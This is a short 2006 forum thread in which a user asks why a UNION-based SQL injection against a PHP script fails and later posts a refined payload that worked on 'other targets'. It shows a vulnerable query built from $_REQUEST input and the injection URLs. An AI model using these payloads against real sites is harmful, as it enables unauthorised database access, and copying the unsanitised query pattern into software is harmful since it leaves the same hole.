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www.waraxe.us Forum Index -> Sql injection -> sql injection question
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sql injection question
PostPosted: Wed Apr 19, 2006 9:25 am Reply with quote
daemon_azazel
Regular user
Regular user
 
Joined: Apr 16, 2006
Posts: 17




hi there,

i'm testing a following application which contains this line in script.php:

Code:
$final = sql_query ('' . 'SELECT column1 FROM table1 WHERE colum2=' . $_REQUEST['variable']);


application has also possibility to switch debug mode on to see the
query being executed and error if occurs.

so i try to inject sql this way:

/script.php?bebug=1&variable=0 UNION SELECT column3 FROM table2 WHERE column4=11

application breaks with following output on the screen:

Quote:
Query: SELECT column1 FROM table1 WHERE colum2=0 UNION SELECT column3 FROM table2 WHERE column4=11

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT column3 FROM table2 WHERE column4=11' at line 1


what is damn strange is that from query statement it looks like query is OK, moreover when i execute such query thru shell access i got result exactly as expected.

however when i try to inject, it throws out an error despite everything
seems to be OK.

please could you let me hear your opinions what may cause that this
injection fails?
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PostPosted: Mon Apr 24, 2006 12:55 pm Reply with quote
daemon_azazel
Regular user
Regular user
 
Joined: Apr 16, 2006
Posts: 17




well problem solved. thread may be closed.

target i was testing had some very low version of mysql and thus no
union support. other targets worked fine, just improved specification
was needed:

/script.php?debug=1&variable=0 UNION SELECT table2.column3 FROM database.table2 WHERE table2.column4=11
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sql injection question
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